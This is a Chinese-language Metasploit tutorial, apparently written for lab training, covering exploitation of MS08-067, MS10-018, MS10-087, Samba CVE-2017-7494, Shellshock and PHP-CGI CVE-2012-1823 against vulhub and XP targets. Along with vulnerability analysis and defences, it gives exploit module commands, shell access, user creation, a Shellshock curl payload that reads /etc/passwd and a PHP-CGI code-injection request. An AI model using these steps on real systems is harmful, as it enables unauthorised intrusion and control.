MSF渗透实战指南:复现MS08-067、Shellshock等8大高危漏洞
MSF概述
Metasploit就是⼀个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是⼀个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击⼯具。
1、MSF目录结构解读

Kali中MSF下存放⽬录:/usr/share/metasploit-framework/
1.1、Modules
⽤户⽤到的各种模块⼏乎都在这⾥,⽤户使⽤use这个msf这⾥时,就是⽤到了这个⽬
录下的模块。这个⽬录下的⽂件在msfconsole启动时会被⾃动加载的。
1.1.1、Auxiliary
主要包含渗透测试中⼀些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等。
1.1.2、Encoders
各种编码工具,用于躲过入侵检测和过滤系统。
1.1.3、Exploits
主要包含了传说中的exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这,这里边包含的exp的路径的命名规则是 系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search这条指令来找)。比如:use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)。
1.1.4、Nops
NOP(No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。
1.1.5、Payoads
payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是:系统/类型/名称 比如: use payloads/windows/shell/bind_tcpPost: 这个目录里放着msf 的exploits执行成功后,向目标机发送的一些功能性指令比如:提权,获取hash等。
1.2、Data
data目录是框架的核心组成部分之一,主要用于存储各类支持文件、配置文件、资源数据及模块依赖项。该目录结构包含多个子目录,每个子目录承担特定功能。
1.3、Plugins
这⾥的模块⽤户需要使⽤load 来加载,提供数据库连接插件,和各种要⽤到的插件。
1.4、Scripts
这个⽬录下的⽂件⼤都是Meterpreter这个模块利⽤的脚本。
1.5、Tools
包含⼀些有⽤的脚本和零散的⼯具。
2、MSF基本命令
执行msfconsole进入 Metasploit Framework 的命令行交互界面,启动后,默认显示带有 Metasploit 标志的欢迎信息,包含版本号、模块加载数量等基本信息。提示符通常为 msf6 >(具体版本号可能不同),表明已进入交互模式。每次启动显示的图标不会一样。
msfconsole

?帮助指令,输入 ? 会显示 Metasploit 框架的帮助菜单,列出所有可用的命令及其简要说明。
msf > ?
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
features Display the list of not yet released features that can
be opted in to
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
···············此处省略
? search 命令
输入 ? search 会显示 search 命令的详细帮助信息,专门针对模块搜索功能。它会解释 search 的语法、参数和示例,帮助用户更精准地查找所需模块。
msf > ? search
Usage: search [<options>] [<keywords>:<value>]
Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.
OPTIONS:
-h, --help Help banner
-I, --ignore Ignore the command if the only match has the same name as the search
-o, --output <filename> Send output to a file in csv format
-r, --sort-descending <column> Reverse the order of search results to descending order
-S, --filter <filter> Regex pattern used to filter search results
-s, --sort-ascending <column> Sort search results by the specified column in ascending order
-u, --use Use module if there is one result
···········此处省略
在 msfconsole 中,? 和 ? search 是两种不同的命令,功能和使用场景有显著差异。除了 search,? 后面还可以跟其他命令来获取帮助信息。以下是一些常见用法:
msf > ? use
msf > ? set
msf > ? sessions
2.1、search
搜索命令例如搜索ms08-067模块,执⾏search ms08-067。
msf > search ms08-067

2.2、use
使用模块
msf > use exploit/windows/smb/ms08_067_netapi

2.3、back
从当前使用的模块返回到控制台模式模式。
msf exploit(windows/smb/ms08_067_netapi) > back

2.4、connect
连接⼀个主机,例如下图所示连接到百度的80端⼝。
msf > connect www.baidu.com 80

2.5、info
显示⼀个或多个模块的信息,例如ms08-067的模块
info exploit/windows/smb/ms08_067_netapi

2.6、jobs
显示和管理作业(和windows任务管理器的进程作⽤⼀样)。
2.7、quit&exit
退出msf
msf > exit
# 或者
msf > quit
3、MSF渗透实战指南
3.1、网络服务器攻击渗透(MS08-067)
用到的靶机为:WinXPenSP3
在kali中执行msfconsole
msfconsole

执⾏search MS08-067命令。
MS08-067 是微软安全公告中的一个漏洞编号,用于标识特定的安全漏洞。该编号遵循微软的命名规则:
MS:表示 Microsoft(微软)。
08:表示该漏洞公告发布于 2008 年。
067:表示这是 2008 年发布的第 67 个安全公告。MS08-067是一个影响 Windows 操作系统的严重漏洞,涉及 Server 服务中的远程代码执行问题。攻击者可以通过特制的 RPC 请求利用该漏洞,无需用户交互即可在目标系统上执行任意代码。
msf > search MS08-067
执⾏use exploit/windows/smb/ms08_067_netapi命令。
exploit/windows/smb/ms08_067_netapi是 Metasploit 框架中的一个经典漏洞利用模块,针对 Windows 系统的 Server 服务(通过 SMB 协议)中的远程代码执行漏洞(CVE-2008-4250)。该漏洞允许攻击者在未授权情况下通过特制网络包触发目标系统的栈溢出,从而执行任意代码。
msf > use exploit/windows/smb/ms08_067_netapi

执⾏show options命令。显示当前环境或工具的配置选项及其设置值。
msf exploit(windows/smb/ms08_067_netapi) > show options

开启WinXPenSP3靶场,按下Win + R,在搜索框中输入cmd并按下回车,在cmd界面执行ipconfig指令查看靶机的IP。
在kali中执行set RHOST 192.168.152.148设置⼀个⽬标IP地址。
msf exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.152.148

执⾏run命令,在执行指令时有可能会失败,需要多执行几次,显示meterpreter >表示已成功进入 Meterpreter 交互模式。Meterpreter 是 Metasploit 框架中的高级 payload,提供动态扩展功能和内存注入技术,避免直接写入磁盘,降低被检测风险。
执⾏shell命令,会切换到目标系统的本地命令行环境。
meterpreter > shell
看到C:\WINDOWS\system32>就代表已经进入目标系统
执行net user命令,查看当前用户。
C:\WINDOWS\system32>net user

执行net user aaa aaa /add命令,添加⼀个用户。
C:\WINDOWS\system32>net user aaa aaa /add

在靶机中执行net user命令,看到刚才添加的用户已经存在。
net user

在kali中,删除aaa用户
C:\WINDOWS\system32>net user aaa /del

执行exit退出目标系统的本地命令行环境。
继续执行exit,退出Meterpreter 交互模式。
执行exit -y退出msfconsole
漏洞技术原理
漏洞触发路径:
- 攻击者通过目标主机开放的445端口(SMB服务默认端口)发送特制的RPC(远程过程调用)请求,调用Server服务中的
NetPathCanonicalize函数。 - 该函数负责对远程访问路径进行规范化处理,但在处理包含相对路径(如
..\)的输入时,未正确验证路径字符串的边界。
缓冲区溢出的关键逻辑:
- 路径规范化漏洞:在
NetpwPathCanonicalize函数中,程序会将路径字符串中的/转换为\,并尝试移除冗余的相对路径(如..\)。然而,在移除操作时,程序未正确检查路径字符串的起始位置,导致在查找路径前的\字符时越界访问低地址空间。 - 栈溢出实现:攻击者构造的恶意路径会触发缓冲区溢出,覆盖栈中的函数返回地址。例如,当路径以
..\开头时,程序错误地将数据复制到栈的低地址区域,覆盖返回地址并跳转至攻击者预设的Shellcode。
漏洞利用条件与影响:
- 影响系统:
Windows 2000、XP、Server 2003等早期版本的系统,未安装2008年10⽉发布的
补丁(KB958644)。 - 利⽤限制:默认配置下,
Windows XP的防⽕墙会阻止外部RPC连接,但若启⽤⽂件共享或禁⽤防⽕墙则漏洞可被远程利用。Windows Vista及更⾼版本需通过身份验证。 - 实际危害:该漏洞曾被
Conficker蠕虫大规模利用,导致数百万台计算机被感染。
防御措施:
- 补丁修复:安装微软官⽅补丁
KB958644是根本解决⽅案。 - 网络配置:关闭445端口、启用防⽕墙限制SMB服务的外部访问。
- 流量监控:检测包含恶意路径的SMB流量,例如使⽤正则表达式匹配异常路径模式。
MS08-067详细原理:MS08-067漏洞原理及详尽分析过程
3.2、浏览器攻击渗透(MS10-018)
用到的靶机为:WinXPenSP3
在kali中执行msfconsole
msfconsole
搜索下ms10-018的⽬录。执行search ms10-018命令,搜索路径。
search ms10-018

执行use exploit/windows/bexirowser/ms10_018_ie_behaviors命令。
exploit/windows/bexirowser/ms10_018_ie_behaviors是Metasploit框架中的一个漏洞利用模块,针对Microsoft Internet Explorer浏览器中的远程代码执行漏洞(CVE-2010-0806)。该漏洞源于IE处理behaviors属性时的内存破坏问题,允许攻击者通过特制网页在受害者系统上执行任意代码。
use exploit/windows/browser/ms10_018_ie_behaviors

执行show options命令,查看要设置哪些东西。
show options

设置⼀下KALI服务器的ip:set SRVHOST 192.168.152.147。
show options

设置⼀个payload正向连接shell:set PAYLOAD windows/meterpreter/bind_tcp再看⼀下我们这
个payload的选项配置:show options ⼀下。
set PAYLOAD windows/meterpreter/bind_tcp
show options

执行run指令生成恶意的URL地址,这个地址就是要通过社⼯等⽅法让目标机进行访问。也可以根据需要,修改URL地址的监听端口,再执行run指令。
set LPORT 4441
run

在靶机中,打开IE浏览器访问地址http://192.168.152.147:8080/0QEHMidVDcCsKp,此时可以看到靶机已经上线,每次靶机访问IE就跳出OD来,最后把靶机⾥⾯的OD删掉就好了。
执行sessions指令,查看建立与目标系统的持久连接。
sessions

sessions -i id号进⼊会话,i就是in进⼊的意思,1就是会话的ID
sessions -i 1

执行shell了,看下我们靶机的ip。
meterpreter > shell
C:\WINDOWS\system32>ipconfig

漏洞技术原理
核心漏洞来源:Tabular Data Control ActiveX控件缺陷。
- 触发组件:IE 6/7/8版本中集成的 Tabular Data Control(TDC) ActiveX控件,⽤于处理表格数据加载(如CSV⽂件)。
- 漏洞触发机制:
- 当TDC控件解析超长URL参数时,未正确验证输⼊⻓度,导致内存越界写⼊。
- 攻击者构造包含恶意编码的URL(例如
data:text/html;base64,...),利用堆内存
损坏或释放后重⽤(UAF)漏洞,覆盖关键内存地址,进⽽劫持程序控制流。
- 内存破坏类型:
- 堆溢出(Heap Overflow) :超⻓URL参数超出预分配缓冲区,覆盖相邻内存区域。
- 类型混淆(Type Confusion) :控件对内存对象类型校验不严,导致攻击者篡改对象指针。
漏洞利用链
- 初始阶段:用户访问恶意网页或点击钓鱼链接,触发IE加载包含恶意TDC脚本的HTML⻚⾯。
- 内存布局操控:通过
JavaScript动态分配内存,精确布置Shellcode地址。 - 控制流劫持:利用内存损坏覆盖虚函数表(vtable)或返回地址,跳转至攻击者预设的指令(如
JMP ESP指令)。
防御与修复措施
1. 官方补丁修复
- 补丁编号:微软通过安全公告
MS10-018发布修复补丁(KB980182),更新TDC控件的内存
处理逻辑。 - 补丁验证:安装后,攻击尝试会因内存保护机制失效⽽⽆法触发
Shellcode。
2. 临时缓解方案
- 禁⽤ActiveX控件:通过IE安全设置禁⽤TDC控件(CLSID: 333C7BC4-460F-11D0-BC04-00
80C7055A83 )。 - 启⽤DEP/ASLR:在⾼级IE设置中强制启⽤数据执⾏保护和地址空间随机化。
MS10-018详细原理:浏览器攻击渗透MS10-018
总结:该漏洞的触发需要使用IE浏览器访问恶意链接才会出现,避免点击不明链接或下载附件,警惕钓鱼邮件诱导访问恶意页面。定期备份重要数据以应对潜在勒索软件攻击。
3.3、应用软件格式渗透 利用word去渗透(MS10-087)
MS10-087是Microsoft Office的一个远程代码执行漏洞。攻击者通过诱骗用户打开恶意RTF文件,利用RTF解析器中的pFragments属性处理不当,导致栈缓冲区溢出。成功利用后,攻击者可以以当前用户权限执行任意代码。
用到的靶机为:WinXPenSP3
进⼊msfconsole下。搜索下ms10-018的路径:search ms10-087。
msfconsole
msf > search ms10-087

使用exploit/windows/fileformat/ms10_087_rtf_pfragments_bof模块
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
执行show options操作,查看需要设置的选项,FILENAME项用于设置恶意文件的文件名,LPORT项根据情况设置。
将文件名改成ceshi。
set FILENAME ceshi.rtf

设置⼀个payload,前⾯⼀直在使⽤交互式的payload,下⾯我们换⼀个payload。
set payload windows/exec

执行show options,可以看到需要设置CMD
设置当运行ceshi.exe时弹出⼀个计算器:set CMD calc.exe。
set CMD calc.exe

执行run生成ceshi.exe文件,文本被保存在了/root/.msf4/local/ceshi.rtf,将文件复制到靶机中。
run

在靶机中双击执行文件,就会打开计算器。

制作一个关机文件down.rtf,并将文件复制到靶机中再运行。打开后倒计时10秒关机。
set FILENAME down.rtf
set cmd 'shutdown -s -t 10'

执行 exit -y 退出msfconsole
exit -y
漏洞技术原理
⼀、漏洞触发机制与核⼼组件:
漏洞根源:RTF文件解析逻辑缺陷
- 触发组件:Microsoft Word的RTF(Rich Text Format)解析引擎,具体涉及
mso.dll模块中的路径规范化函数(如pfragments相关函数)。 - 漏洞触发条件:当⽤户打开包含超⻓控制字属性字符串的RTF⽂件时,Word未对输⼊数据长度进⾏验证,直接将数据复制到固定大小的栈缓冲区中,导致溢出。
关键控制字与数据构造
恶意RTF结构:攻击者在RTF⽂件中插⼊ {\*\pnfragments 等控制字,并设置超长的 属性字符串 (如字体名称或路径参数)。例如:
- {\rtf1\ansi{*\pnfragments XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}}
- 溢出触发点:
pnfragments控制字对应的属性字符串⻓度超过栈缓冲区容量(通常为64-128字节),引发栈溢出。
⼆、内存破坏原理与利用技术
栈缓冲区溢出过程
- 栈空间分配:在解析RTF文件时,函数 sub_XXXXX (位于 mso.dll )会在栈上分配固定大小的缓冲区(如 0x00123E98 ⾄ 0x0012FFFF )。当输⼊数据⻓度超过此范围时,溢出覆盖相邻内存区域。
- 关键寄存器覆盖:
- 返回地址覆盖:溢出数据覆盖栈中保存的 EIP (指令指针),指向攻击者预设的地址(如
JMP ESP指令地址)。 - SEH链劫持:若溢出未直接覆盖返回地址,可能通过覆盖 结构化异常处理链(SEH) 中的异常
处理函数指针,触发异常后跳转⾄Shellcode。
Shellcode布局与执行
- 内存布局操控:攻击者通过插⼊NOP雪橇( 0x90 指令)和跳转指令,确保溢出后的控制流准确跳转到Shellcode区域。
- 载荷注⼊方式:
- 直接嵌⼊:将Shellcode编码为⼗六进制字符串插⼊RTF⽂件。
- 远程加载:通过 data: 协议或恶意URL动态加载Shellcode,例如:
html <iframe src ="data:text/html;base64,XXXXXXXXXXXX"></iframe>
三、影响范围与历史危害
1. 受影响版本
- 操作系统:Windows XP SP3、Windows Server 2003、Vista、7。
- Office版本:Office 2003 SP3、2007 SP2、2010、Mac版Office 2004-2011。
2. 实际攻击案例
- 大规模挂马攻击:2010-2011年,MS10-087被集成至“黑页”攻击链,全球超过50%的挂马网
站利⽤此漏洞传播木马。 - APT攻击载体:⾼级持续性威胁(APT)组织利用该漏洞投递恶意⽂档,窃取政府及企业数
据。
四、防御与修复措施
1. 官方补丁分析
- 补丁编号:KB2423930(MS10-087)修复了
mso.dll中的路径处理逻辑,增加输⼊⻓度
校验并重构栈缓冲区分配策略。 - 补丁验证方法:使⽤
Bindiff对⽐补丁前后DLL⽂件,可发现关键函数(如Canonicalize PathName)的指令修改。
2. 临时缓解方案
- 禁⽤RTF解析:通过组策略禁⽤Word的RTF⽂件解析功能(设置路径:
HKCU\Software\Microsoft\Office\...\Word\Security)。 - 启用防护机制:强制启⽤DEP(Data Execution Prevention)和Office沙箱(Protected View)。
3. 网络与终端防护
- 流量监控:检测HTTP/邮件流量中异常的
pnfragments控制字或超长属性字符串。 - ⾏为分析:监控
winword.exe进程的异常栈操作或Shellcode执行为。
MS10-087详细原理:MS10_087漏洞学习研究
总结:以普通用户权限运行Office程序,避免使用管理员账户打开文档,限制漏洞利用后的权限提升,避免直接打开邮件附件中的Word文档,优先下载至本地后使用杀毒软件扫描,通过虚拟机或专用沙盒软件打开未知来源的Word文档,隔离潜在风险。
3.4、利用samba服务漏洞入侵Linux主机(CVE-2017-7494)
CVE-2017-7494是Samba软件中⼀个严重的远程代码执⾏(RCE)漏洞,因其危害性与传播性被
称为“Linux版永恒之蓝”。该漏洞允许攻击者通过SMB协议上传恶意共享库⽂件(.so),并诱使服
务器以root权限加载执⾏,从而实现权限提升或完全控制⽬标系统。
搭建流程,部署Ubuntu 18.04.4 LTS虚拟机,创建enjoy用户,将克隆的vulhub目录复制到/home/enjoy/目录下
1.安装 Docker 和 Docker Compose(确保系统已安装)
2.切换到root用户
sudo -i
useradd enjoy
passwd root1234%
cd /home/enjoy/
2.克隆 vulhub 仓库:https://github.com/vulhub/vulhub
git clone https://github.com/vulhub/vulhub.git
3.进入 Samba 漏洞靶场目录:
cd vulhub-master/samba/CVE-2017-7494
4.启动靶机容器:
docker-compose up -d
5.实验结束后,关掉靶机容器的指令:
docker-compose down -v
查看靶机IP执行ifconfig
ifconfig

在kali启动msfconsole使⽤exploit/linux/samba/is_known_pipename
msfconsole
use exploit/linux/samba/is_known_pipename
# 设置RHOST 为靶机IP
set RHOST 192.168.152.144
# 执行run 运行模块
run


执行id指令,查看当前靶机的权限,现在已经拿到了靶机的root权限,我们可以查看现在我们所在的目录,执行pwd指令
pwd

查看上一层目录有哪些文件或者目录ls ../
退出靶机的命令窗口exit
漏洞原理分析
⼀、技术原理:路径验证缺陷与动态库加载机制
- 漏洞核心函数:
is_known_pipename逻辑缺陷Samba在处理客户端通过SMB协议请求的命名管道(Named Pipe) 时,调⽤is_known_pipename函数验证管道名称的合法性。该函数存在以下逻辑漏洞:
- 路径规范化缺失:未正确处理管道名称中的 / 符号(例如
/home/attacker/malicious.so),导致服务器误将其解析为绝对路径⽽⾮相对路径。 - 动态库加载逻辑:当客户端请求加载管道对应的共享库时,Samba会尝试从
/根⽬录开始拼接路径,⽽⾮限制在Samba的共享⽬录范围内。这使得攻击者可指定任意位置的恶意.so⽂件。
2. 内存破坏与执行链
- 恶意共享库构造:攻击者通过可写共享⽬录上传恶意.so⽂件(如
malicious.so),其中包含针对目标系统的Shellcode(如反弹Shell或挖矿程序)。 - 权限提升机制:Samba服务默认以
root权限运⾏,加载恶意库时继承该权限,实现从低权限用户到系统级控制的跨越。
⼆、漏洞触发与攻击流程
1. 攻击前置条件
- 写共享⽬录:攻击者需具备对Samba共享⽬录的写⼊权限(如匿名访问或弱⼝令账户)。
- Samba版本范围:影响Samba 3.5.0⾄4.6.4/4.5.10/4.4.14之间的所有未修补版本。
2. 典型攻击步骤
- 信息收集
- 使用`nmap~扫描目标Samba服务(默认端口445),确认版本是否在受影响范围内
- 通过
smbclient枚举共享目录,筛选可写目录(如尝试创建临时文件验证权限)。
- 恶意文件上传
- 生成恶意,
.so文件(如使用Metasploit的payload/linux/x64/meterpreter/revers e_tcp)并上传至可写共享目录。 - 示例路径构造:
/shared/malicious.so(共享目录为/shared)
- 触发漏洞加载恶意库
- 通过SMB协议请求访问命名管道
IPC$,指定恶意库的绝对路径(如\192.168.1.100\shared\malicious.so) - 服务器执行
is_known_pipename验证时,因路径处理缺陷加载恶意库,执行其中代码.
- 权限维持与横向移动
- 成功触发后,攻击者可获得
root权限的Shell,进一步进行提权、挖矿(如门罗币挖矿程序)或内网渗透。
三、漏洞利用的扩展场景
- 容器环境渗透在Docker环境中,若容器内运⾏受漏洞影响的Samba服务,攻击者可通过上传恶
意.so⽂件并触发加载,逃逸到宿主机执⾏代码(需容器挂载敏感目录如/var/run/docker.sock)。 - 蠕虫化传播(SambaCry)该漏洞被集成⾄蠕⾍程序(如EternalMiner),通过⾃动化扫描互联
网暴露的Samba服务,批量感染设备进⾏加密货币挖矿或僵⼫⽹络构建。 - APT攻击载体⾼级持续性威胁(APT)组织利⽤该漏洞投递恶意⽂档或结合社会⼯程,针对企
业NAS设备或Linux服务器实施数据窃取。
四、防御与缓解措施
- 官方补丁修复
- 升级至Samba 4.6.4/4.5.10/4.4.14或更⾼版本,修补
is_known_pipename函数的路径验证逻辑。 - 验证方法:使⽤命令
smbd --version确认版本,或检查补丁文件(如lib/pipes.c中的路径限制代码)。
- 临时缓解⽅案
- 禁⽤命名管道⽀持:在Samba配置⽂件
smb.conf的[global]段添加nt pipe support = no并重启服务。 - 限制共享⽬录权限:设置共享⽬录为只读,避免攻击者上传恶意⽂件。
- ⽹络与⾏为防护
- 防⽕墙策略:限制外部对445端⼝的访问,仅允许可信IP连接。
- ⼊侵检测规则:监控SMB流量中的异常路径请求(如包含
/符号的管道名称)。 - 权限最小化:以非root用户运行Samba服务,降低漏洞利⽤后的危害。
CVE-2017-7494漏洞详细原理:【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)
总结:禁用或更新 Samba 服务至 4.6.4/4.5.10/4.4.14 及以上版本,并移除共享配置中的 nt pipe support = no 选项。确保网络防火墙规则限制对 Samba 端口(如 445/TCP)的访问,仅允许可信来源。定期检查并应用最新的安全补丁,关闭不必要的共享服务。
3.5、Bash Shellshock(破壳CVE-2014-6271)
CVE-2014-6271(⼜称Shellshock或破壳漏洞)是2014年公开的GNU Bash(Bourne Again Shell)中⼀个⾼危远程代码执⾏(RCE)漏洞,其CVSS 3.0评分为10.0(最⾼危),影响范围覆盖全球数亿台Linux/Unix设备及⽹络服务。该漏洞的核⼼原理在于Bash对函数型环境变量的解析逻辑缺陷,允许攻击者通过构造恶意环境变量注⼊任意代码。
# 在靶机中终止上一个容器的运行
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose down -v
# 启动Bash Shellshock靶场
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose up -d
在kali启动后,执行msfconsole指令,使用exploit/multi/http/apache_mod_cgi_bash_env_exec模块,由于靶机服务启动后,开启的是8080端口,设置RPORT 为8080
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
# 设置RHOST 为靶机IP
set RHOST 192.168.152.144
# 设置RPORT 为靶机服务端口
set RPORT 8080
set TARGETURI /victim.cgi
# 执行run 运行模块
run



# 进入靶机的命令模式
shell
# 查看当前的权限
id
# 查看当前目下的文件
ls .

原理深度解析
⼀、技术原理:函数解析逻辑缺陷与代码注⼊
- Bash环境变量与函数定义机制Bash允许将环境变量与函数定义通过
export命令导出,例如:
func() { echo "Hello"; }
export -f func # 将函数`func`导出为环境变量
运行
在子进程中,通过解析环境变量即可还原函数定义。然而,漏洞的根源在于Bash在解析这类环境
变量时,未对函数定义的边界进⾏严格验证.
- 漏洞触发逻辑:函数定义后附加恶意指令
构造恶意环境变量
:攻击者定义以- (){
开头的环境变量,并在函数体后追加额外命令,例如:
env 'VAR=() { :; }; echo Vulnerable' bash -c "true"
运⾏
(){ :; }:合法的函数定义(空函数)。- echo Vulnerable
:注⼊的恶意指令。
- 解析逻辑缺陷:Bash在解析 VAR 环境变量时,错误地将
echo Vulnerable视为函数定
义的延续,⽽⾮终⽌符,导致后续命令被⽆条件执⾏。
漏洞本质:代码与数据混淆该漏洞属于注⼊型漏洞,类似于SQL注⼊。Bash将⽤户可控的环境变
量数据错误解析为可执⾏代码,根源在于 builtins/evalstring.c 中的 parse_and_execute 函数未对输⼊进⾏合法性校验,未检测函数定义的终⽌标志 } 。
⼆、漏洞触发机制与利用路径
本地触发场景通过本地Shell直接设置恶意环境变量即可验证漏洞存在:
env x='() { :;}; echo Vulnerable CVE-2014-6271' bash -c "echo test"
运⾏
若输出 Vulnerable CVE-2014-6271 ,则系统存在漏洞。
- 远程利⽤路径
漏洞本身⽆法直接远程触发,需借助第三⽅服务作为媒介。典型攻击路径包括:
HTTP服务(Apache CGI):
攻击者通过HTTP请求头(如 User-Agent 、 Cookie )传递恶意环境变量。例如:
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" http://victim/cgi-bin/test.cgi
Apache CGI脚本调⽤Bash处理请求时触发恶意代码执⾏。
- OpenSSH(ForceCommand):SSH服务器配置
ForceCommand时,攻击者通过SSH_ORIGINAL_COMMAND环境变量注⼊命令。 - DHCP客户端:DHCP响应中的恶意参数可触发客户端脚本中的漏洞。
绕过补丁的变种(CVE-2014-7169)初始补丁(检测函数定义后的字符)存在缺陷,攻击者通过构
造不完整函数定义或多段命令绕过检测,例如:
env VAR='() { (a)=>\' bash -c "echo date"
该Payload利用Bash的重定向解析缺陷写⼊恶意⽂件。
三、影响范围与历史危害
- 受影响系统
- 操作系统:所有使⽤Bash 1.14⾄4.3版本的Linux/Unix系统,包括Red Hat、CentOS、
Ubuntu、Debian、Fedora、Mac OS X 10.10等。 - 容器与IoT设备:Docker镜像、嵌⼊式Linux设备(如路由器)因⻓期未更新Bash版本成为
重灾区。
- 操作系统:所有使⽤Bash 1.14⾄4.3版本的Linux/Unix系统,包括Red Hat、CentOS、
- 历史攻击事件
- ⾃动化蠕⾍传播:漏洞公开后48⼩时内即出现⾃动化攻击⼯具(如Shellshock蠕⾍),感
染设备组建僵⼫⽹络⽤于DDoS攻击或加密货币挖矿。 - APT攻击载体:⾼级威胁组织利⽤该漏洞渗透企业内⽹,通过CGI脚本窃取敏感数据。
- ⾃动化蠕⾍传播:漏洞公开后48⼩时内即出现⾃动化攻击⼯具(如Shellshock蠕⾍),感
- Android免疫性尽管Android系统使⽤Bash,但其默认不启⽤ ENV 命令解析功能,因此基本不
受影响。
四、漏洞修复与防御⽅案
-
官方补丁分析
- 补丁机制:通过修改
parse_and_execute函数,增加SEVAL_FUNCDEF和SEVAL_ONECMD标志,限制环境变量仅能包含单⼀函数定义,禁⽌附加额外命令。 - 升级验证:
bash --version # 确认版本≥4.3-013 env x='() { :;}; echo Vulnerable' bash -c "echo test" # 输出应为"test"⽽⾮"Vulnerable" - 补丁机制:通过修改
-
临时缓解措施
禁⽤Bash函数导出:- set -f # 禁⽤函数导出(需修改系统启动脚本)
- 配置Web服务器过滤规则:
- Apache:使⽤
mod_security模块拦截包含() {的HTTP头。 - Nginx:正则匹配并拒绝恶意请求。
- Apache:使⽤
-
纵深防御体系
- 权限隔离:以⾮特权⽤户运⾏Web服务(如
[www-data](https://www-data) ),限制Bash执⾏权限。 - ⼊侵检测(IDS) :监控⽹络流量中的异常环境变量模式(如
() {字符串)。 - 容器安全:使⽤Alpine Linux等不依赖Bash的轻量级基础镜像。
- 权限隔离:以⾮特权⽤户运⾏Web服务(如
CVE-2014-6271漏洞详细原理:
Shellshock- CVE-2014-6271-破壳漏洞
ShellShock漏洞原理分析
总结:及时更新 Bash 到安全版本或应用厂商提供的补丁。
3.6、PHP CGI漏洞利用(CVE-2012-1823)
CVE-2012-1823是PHP-CGI模式下存在的⼀个⾼危远程代码执⾏(RCE)漏洞,影响PHP 5.0.0⾄
5.3.11及5.4.0⾄5.4.1版本。该漏洞源于PHP-CGI在处理HTTP请求的查询字符串(Query String)
时,错误地将⽤户输⼊解析为命令⾏参数,导致攻击者可通过构造恶意参数注⼊任意代码。
# 在靶机中终止上一个容器的运行
cd cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose down -v
# 启动PHP CGI靶场
cd /home/enjoy/vulhub-master/php/CVE-2012-1823
docker-compose up -d
环境启动后,访问http://your-ip:8080/可⻅“Hello”字样。
访问http://your-ip:8080/index.php?-s即爆出源码,说明漏洞存在。
在kali启动后,执行msfconsole指令,使⽤exploit/multi/http/php_cgi_arg_injection模块,由于靶机服务启动后,开启的是8080端口,设置RPORT 为8080
msfconsole
use exploit/multi/http/php_cgi_arg_injection
# 设置RHOST 为靶机IP
set RHOST 192.168.152.144
# 设置RPORT 为靶机服务端口
set RPORT 8080
# 执行run 运行模块
run

# 进入靶机的命令行模式
shell
# 查看当前目录下载有哪些文件
ls .
# 查看 info.php的内容
cat info.php

漏洞原理深度解析
⼀、技术背景:PHP运⾏模式与CGI参数处理
- PHP的SAPI(Server API)模式PHP支持多种运行模式,包括CLI(命令行)、CGI(通用网关接口)、FastCGl和模块化集成(如Apache的mod_php)。CGI模式下,每个HTTP请求会启动独立的PHP-CGI进程处理,通过环境变量传递参数。
- CGI协议规范(RFC 3875)CGI规定,HTTP请求的查询字符串应作为 QUERY_STRING 环境变
量传递,而不应直接映射为命令行参数。但PHP早期版本为方便开发测试,允许通过查询字符
串传递命令行参数(如-d、-s),违反了这一规范。 - 漏洞的起源开发者Rasmus Lerdorf在早期讨论中认为应禁用命令行参数解析,但在实际实现中移除了相关检查代码,导致用户可控的查询字符串被直接作为PHP-CGI参数处理。
⼆、核心原理:参数注⼊与代码执⾏链
-
漏洞触发逻辑
- 恶意参数注⼊:攻击者在URL中插⼊以 - 开头的参数(如
-d、-s),PHP-CGI将其视为命令⾏参数⽽⾮普通查询数据。
配置篡改:利⽤
-d参数可动态修改PHP配置选项,例如:- http://target/cgi.php?-d+allow_url_include=on±d+auto_prepend_file=php://input
上述参数将允许包含远程⽂件(
allow_url_include=on),并强制在脚本执⾏前加载php://input流(包含攻击者通过POST提交的恶意代码)。 - 恶意参数注⼊:攻击者在URL中插⼊以 - 开头的参数(如
-
关键漏洞函数: main() 函数的参数解析
在PHP-CGI的⼊⼝函数main()中,查询字符串被分割为argv数组。若参数以-开头,则被解析为命令⾏选项,例如:
-s :显示⻚⾯源码(信息泄露)。
-d :设置INI配置项(代码执⾏)。
-i :显示PHP环境信息(敏感信息泄露)。 -
内存破坏与执⾏链PHP-CGI未对参数进⾏合法性校验,直接拼接为命令⾏字符串并执⾏。攻击
者通过auto_prepend_file或auto_append_file配置项,将恶意代码注⼊到PHP执⾏流程中,最终触发任意命令执⾏。
三、漏洞利⽤路径与攻击场景
- 典型攻击步骤
- 步骤1:验证漏洞存在访问
[http://target/cgi.php](http://target/cgi.php)?-s,若返回PHP源码,则确认漏洞存在。 - 步骤2:构造恶意请求通过POST请求将Shellcode附加到
php://input流,例如:
- 步骤1:验证漏洞存在访问
POST /cgi.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTT
P/1.1
Host: target
...
<?php system("id"); ?>
